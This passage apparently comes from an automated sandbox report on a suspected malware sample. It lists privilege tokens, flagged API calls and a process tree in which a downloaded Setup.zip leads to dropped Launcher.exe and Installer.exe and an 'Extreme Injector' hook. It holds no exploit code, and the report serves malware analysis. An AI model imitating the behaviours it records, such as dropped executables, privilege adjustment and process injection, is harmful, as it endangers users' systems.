Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeDebugPrivilege	2216	taskmgr.exe
Token: SeSystemProfilePrivilege	2216	taskmgr.exe
Token: SeCreateGlobalPrivilege	2216	taskmgr.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4776	Extreme Injector.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5420 wrote to memory of 4816	5420	msedge.exe	87
PID 5420 wrote to memory of 4228	5420	msedge.exe	88
PID 5420 wrote to memory of 980	5420	msedge.exe	90
PID 5420 wrote to memory of 1460	5420	msedge.exe	89
PID 5420 wrote to memory of 980	5420	msedge.exe	90
PID 5420 wrote to memory of 980	5420	msedge.exe	90
PID 5420 wrote to memory of 1460	5420	msedge.exe	89
PID 5420 wrote to memory of 6024	5420	msedge.exe	92
PID 5420 wrote to memory of 6024	5420	msedge.exe	92
PID 5420 wrote to memory of 6024	5420	msedge.exe	92
PID 5420 wrote to memory of 5844	5420	msedge.exe	93
PID 5420 wrote to memory of 5844	5420	msedge.exe	93
PID 5420 wrote to memory of 5844	5420	msedge.exe	93
PID 5420 wrote to memory of 2628	5420	msedge.exe	94
PID 5420 wrote to memory of 2628	5420	msedge.exe	94
PID 5420 wrote to memory of 3600	5420	msedge.exe	95
PID 5420 wrote to memory of 2628	5420	msedge.exe	94
PID 5420 wrote to memory of 3600	5420	msedge.exe	95
PID 5420 wrote to memory of 3600	5420	msedge.exe	95
PID 5420 wrote to memory of 1040	5420	msedge.exe	99
PID 5420 wrote to memory of 1040	5420	msedge.exe	99
PID 5420 wrote to memory of 1040	5420	msedge.exe	99
PID 5420 wrote to memory of 572	5420	msedge.exe	100
PID 5420 wrote to memory of 4344	5420	msedge.exe	101
PID 5420 wrote to memory of 572	5420	msedge.exe	100
PID 5420 wrote to memory of 4344	5420	msedge.exe	101
PID 5420 wrote to memory of 416	5420	msedge.exe	103
PID 5420 wrote to memory of 3392	5420	msedge.exe	104
PID 5420 wrote to memory of 3392	5420	msedge.exe	104
PID 5420 wrote to memory of 3392	5420	msedge.exe	104
PID 5420 wrote to memory of 5832	5420	msedge.exe	112
PID 5420 wrote to memory of 5832	5420	msedge.exe	112
PID 5420 wrote to memory of 5832	5420	msedge.exe	112
PID 5420 wrote to memory of 5592	5420	msedge.exe	113
PID 5420 wrote to memory of 5592	5420	msedge.exe	113
PID 5420 wrote to memory of 5592	5420	msedge.exe	113
PID 5420 wrote to memory of 2132	5420	msedge.exe	115
PID 5420 wrote to memory of 5928	5420	msedge.exe	116
PID 5420 wrote to memory of 2912	5420	msedge.exe	117
PID 5420 wrote to memory of 5880	5420	msedge.exe	118
PID 5420 wrote to memory of 5880	5420	msedge.exe	118
PID 5420 wrote to memory of 5880	5420	msedge.exe	118
PID 5420 wrote to memory of 3432	5420	msedge.exe	119
PID 5420 wrote to memory of 3432	5420	msedge.exe	119
PID 5420 wrote to memory of 3432	5420	msedge.exe	119
PID 5420 wrote to memory of 3456	5420	msedge.exe	120
PID 5420 wrote to memory of 3456	5420	msedge.exe	120
PID 5420 wrote to memory of 3456	5420	msedge.exe	120
PID 5420 wrote to memory of 1276	5420	msedge.exe	121
PID 5420 wrote to memory of 1276	5420	msedge.exe	121
PID 5420 wrote to memory of 1276	5420	msedge.exe	121
PID 5420 wrote to memory of 4236	5420	msedge.exe	122
PID 5420 wrote to memory of 4236	5420	msedge.exe	122
PID 5420 wrote to memory of 4236	5420	msedge.exe	122
PID 5420 wrote to memory of 1172	5420	msedge.exe	126
PID 5420 wrote to memory of 1172	5420	msedge.exe	126
PID 5420 wrote to memory of 3764	5420	msedge.exe	128
PID 5420 wrote to memory of 3764	5420	msedge.exe	128
PID 5420 wrote to memory of 4780	5420	msedge.exe	127
PID 5420 wrote to memory of 3764	5420	msedge.exe	128
PID 5420 wrote to memory of 4780	5420	msedge.exe	127
PID 5420 wrote to memory of 5048	5420	msedge.exe	129
PID 5420 wrote to memory of 5048	5420	msedge.exe	129
PID 5420 wrote to memory of 5048	5420	msedge.exe	129

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument C:\Users\Admin\AppData\Local\Temp\file.html
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x240,0x214,0x20c,0x23c,0x248,0x7ffadc98c188,0x7ffadc98c194,0x7ffadc98c1a0
  2⤵
  PID:4816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=uk --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1888,i,8343775768580846361,2451045388258742289,524288 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=2592 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=uk --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2256,i,5718759876393876455,10609193098641527915,524288 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=2600 /prefetch:8
  2⤵
  PID:1460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1636,i,11323552150819503492,4926303294253918729,262144 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=2472 /prefetch:2
  2⤵
  PID:980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3460,i,8325659466133027733,6551402793992762930,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:1
  2⤵
  PID:6024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3484,i,16034182238179805334,7722356235513689316,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:1
  2⤵
  PID:5844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4248,i,13774455791202755434,2645868200729696455,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=4300 /prefetch:1
  2⤵
  PID:2628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4276,i,1904719552619729972,3636274664804933121,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=4328 /prefetch:2
  2⤵
  PID:3600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3268,i,5621081460907001695,11259671452773861415,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=4552 /prefetch:1
  2⤵
  PID:1040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=uk --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5276,i,7611275726977344735,5820533894857732386,524288 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:8
  2⤵
  PID:572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=uk --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5280,i,3994481674725672266,1741131820925994776,524288 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:8
  2⤵
  PID:4344
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=uk --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6088,i,11450206335876624929,14812511881720540652,524288 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=6108 /prefetch:8
  2⤵
  PID:1396
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=uk --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6088,i,11450206335876624929,14812511881720540652,524288 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=6108 /prefetch:8
  2⤵
  PID:416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6180,i,8750407370741242532,1571008104798769119,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=6200 /prefetch:1
  2⤵
  PID:3392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=4320,i,1802048170131615188,18255266743425091135,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:1
  2⤵
  PID:5832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6176,i,3918784303431531904,6008758770750340843,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:1
  2⤵
  PID:5592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=uk --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4508,i,7885430008002705908,4359487303952217973,524288 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=6740 /prefetch:8
  2⤵
  PID:2132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=uk --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=120,i,4297142062580898892,12854228746364458440,524288 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=6736 /prefetch:8
  2⤵
  PID:5928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=uk --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6728,i,878023955431032617,5974826742712410593,524288 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=6780 /prefetch:8
  2⤵
  PID:2912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6884,i,7085106213582425251,10894059623396887535,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=6792 /prefetch:1
  2⤵
  PID:5880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=6184,i,2060702764601334659,3377604505422770705,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:1
  2⤵
  PID:3432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=6552,i,204213480479765542,16721210795868217373,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=6528 /prefetch:1
  2⤵
  PID:3456
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=5188,i,779328065164953776,7218788968153559441,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:1
  2⤵
  PID:1276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=3592,i,11477254746220339020,9657328548411717078,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=6780 /prefetch:1
  2⤵
  PID:4236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=uk --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6744,i,10205987740596576898,12848137048056210065,524288 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=6276 /prefetch:8
  2⤵
  PID:1172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=uk --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6684,i,18358806249252034709,16727187061621907239,524288 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=6536 /prefetch:8
  2⤵
  PID:4780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=6844,i,12383110996735537682,9304368787748381134,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=4360 /prefetch:1
  2⤵
  PID:3764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=6828,i,287700882930480297,7251089918441049235,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=4228 /prefetch:1
  2⤵
  PID:5048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=uk --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4304,i,5568070842048513849,1609502076533602018,524288 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=6852 /prefetch:8
  2⤵
  PID:2572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=5176,i,15858065035794197272,4824993889000711065,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:1
  2⤵
  PID:3980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=4796,i,3915791053310558543,7952490599411885832,2097152 --field-trial-handle=2476,i,3232795672495609466,15961984382984510776,262144 --variations-seed-version --mojo-platform-channel-handle=7176 /prefetch:1
  2⤵
  PID:3388

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2540

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3164

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Setup.zip"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3436

C:\Users\Admin\Desktop\ф\Launcher.exe
"C:\Users\Admin\Desktop\ф\Launcher.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3036

C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
"C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "ps -p 3408 -o comm=,ppid="
  2⤵
  PID:2568
- C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
